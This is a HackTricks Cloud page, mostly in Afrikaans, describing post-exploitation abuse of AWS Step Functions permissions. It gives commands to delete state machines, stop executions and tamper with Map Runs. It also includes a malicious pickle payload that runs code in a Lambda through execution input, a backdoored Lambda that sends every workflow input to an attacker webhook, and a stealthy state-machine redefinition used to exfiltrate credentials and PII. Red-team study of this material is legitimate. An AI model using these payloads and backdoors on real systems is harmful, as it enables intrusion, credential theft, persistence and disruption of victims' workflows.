AWS - Step Functions Post Exploitation
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Step Functions
Vir meer inligting oor hierdie AWS-diens, sien:
states:RevealSecrets
Hierdie toestemming maak dit moontlik om geheime data binne ân uitvoering te openbaar. Hiervoor moet die Inspection-vlak op TRACE gestel word en die revealSecrets-parameter op true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
ân Aanvaller met hierdie permissies sal in staat wees om staatmasjiene, hul weergawes en aliasse permanent te verwyder. Dit kan kritieke workflowe ontwrig, tot dataverlies lei en aansienlike tyd vereis om die betrokke staatmasjiene te herstel en terug te stel. Boonop sal dit ân aanvaller toelaat om die gebruikte spore uit te wis, forensiese ondersoeke te ontwrig en potensieel bedrywighede lam te lĂȘ deur noodsaaklike outomatiseringsprosesse en staatkonfigurasies te verwyder.
Note
- Wanneer jy ân staatmasjien verwyder, verwyder jy ook al sy geassosieerde weergawes en aliasse.
- Wanneer jy ân staatmasjien-alias verwyder, verwyder jy nie die staatmasjienweergawes wat na hierdie alias verwys nie.
- Dit is nie moontlik om ân staatmasjienweergawe te verwyder wat tans deur een of meer aliasse verwys word nie.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potensiële impak: Versteuring van kritieke werkvloei, dataverlies en bedryfsstilstand.
states:UpdateMapRun
ân aanvaller met hierdie toestemming kan die Map Run-foutkonfigurasie en parallel-instelling manipuleer, en die maksimum aantal toegelate kind-workflow-uitvoerings verhoog of verlaag, wat ân direkte invloed op die diens se prestasie het. Boonop kan ân aanvaller knoei met die toegelate foutpersentasie en -telling, en hierdie waarde tot 0 verlaag, sodat elke keer as ân item faal die hele Map Run sou misluk, wat direk die staatmasjien-uitvoering raak en moontlik kritieke werkvloei ontwrig.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potensiële impak: Prestasievermindering en ontwrigting van kritieke werkvloei.
states:StopExecution
ân aanvaller met hierdie toestemming kan die uitvoering van enige state machine stop, wat lopende werkvloei en prosesse ontwrig. Dit kan lei tot onvolledige transaksies, gestopte besigheidsbedrywighede en potensiĂ«le databeskadiging.
Warning
Hierdie aksie word nie deur express state machines ondersteun nie.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potensiële impak: Ontwrigting van lopende werkvloei, bedryfsstilstand, en potensiële datakorruptie.
states:TagResource, states:UntagResource
ân Aanvaller kan tags by Step Functions-hulpbronne voeg, wysig of verwyder, wat jou organisasie se koste-toewysing, hulpbronopsporing en toegangskontrolebeleid wat op tags gebaseer is, ontwrig.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potensiële impak: Ontwrigting van koste-toewysing, hulpbronopsporing en etiketgebaseerde toegangsbeheerbeleide.
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution is ân data-plane toegangspunt. As ân state machine aanvaller-gekontroleerde inset na ân taak deurstuur wat ân gevaarlike sink bevat (byvoorbeeld ân Lambda wat pickle.loads(base64.b64decode(payload_b64))), kan jy soms StartExecution omskakel na code execution en secret exfiltration deur die uitvoeringuitset, sonder enige toestemming om die state machine op te dateer.
Ontdek die workflow en die aangeroepe Lambda
As jy states:List* / states:Describe* het, kan jy die state machine-definisie opnoem en lees:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
As jy ook lambda:GetFunction het, kan jy die Lambda-kodebundel aflaai om te verstaan hoe invoer verwerk word (en bevestig of onveilige deserialisering bestaan):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Voorbeeld: crafted pickle in execution input (Python)
Indien die Lambda âunpicklesâ deur die aanvaller beheerste data, kan ân kwaadwillige pickle tydens deserialisering kode uitvoer. Voorbeeld payload wat ân Python-uitdrukking in die Lambda runtime evalueer:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Impak: Watter permissies die task role ook al het (Secrets Manager reads, S3 writes, KMS decrypt, ens.) kan via gespesialiseerde insette bereikbaar raak, en die resultaat kan in die Step Functions-uitset van die uitvoering teruggegee word.
states:UpdateStateMachine, lambda:UpdateFunctionCode
ân aanvaller wat ân gebruiker of rol kompromitteer met die volgende toestemmings:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
âŠkan ân high-impact and stealthy post-exploitation attack uitvoer deur Lambda backdooring te kombineer met Step Function logika-manipulasie.
Hierdie scenario gaan daarvan uit dat die slagoffer AWS Step Functions gebruik om workflows te orkestreer wat sensitiewe invoer verwerk, soos credentials, tokens, of PII.
Voorbeeld slagoffer-aanroep:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Indien die Step Function gekonfigureer is om ân Lambda soos LegitBusinessLogic aan te roep, kan die aanvaller voortgaan met twee onopvallende aanval-variante:
Lambda-funksie bygewerk
Die aanvaller wysig die kode van die Lambda-funksie wat reeds deur die Step Function gebruik word (LegitBusinessLogic) om stilweg invoerdata te exfiltrate.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Voeg ân kwaadaardige toestand by die Step Function
Alternatiewelik kan die aanvaller ân exfiltration state aan die begin van die werkvloei injekteer deur die Step Function-definisie by te werk.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Die aanvaller kan selfs meer onopgemerk die state-definisie bywerk na iets soos dit { âCommentâ: âBackdoored for Exfiltrationâ, âStartAtâ: âExfiltrateSecretsâ, âStatesâ: { âExfiltrateSecretsâ: { âTypeâ: âTaskâ, âResourceâ: âarn:aws:lambda:us-east-1:victim-id:function:SendToAttackerâ, âInputPathâ: â$â, âResultPathâ: â$.exfilâ, âNextâ: âOriginalStateâ }, âOriginalStateâ: { âTypeâ: âTaskâ, âResourceâ: âarn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogicâ, âEndâ: true } } } waar die slagoffer nie die verskil sal besef nie
Slagoffer-opstelling (Konteks for Exploit)
- ân Step Function (
LegitStateMachine) word gebruik om sensitiewe gebruikersinvoer te verwerk. - Dit roep een of meer Lambda-funksies soos
LegitBusinessLogic.
Potensiële impak:
- Stil exfiltrasie van sensitiewe data, insluitend secrets, credentials, API keys en PII.
- Geen sigbare foute of mislukkings in workflow-uitvoering nie.
- Moeilik om te ontdek sonder om Lambda-kode of uitvoeringstraces te oudit.
- Maak langtermyn persistentie moontlik as backdoor in kode of ASL-logika bly.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die đŹ Discord group of die telegram group of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

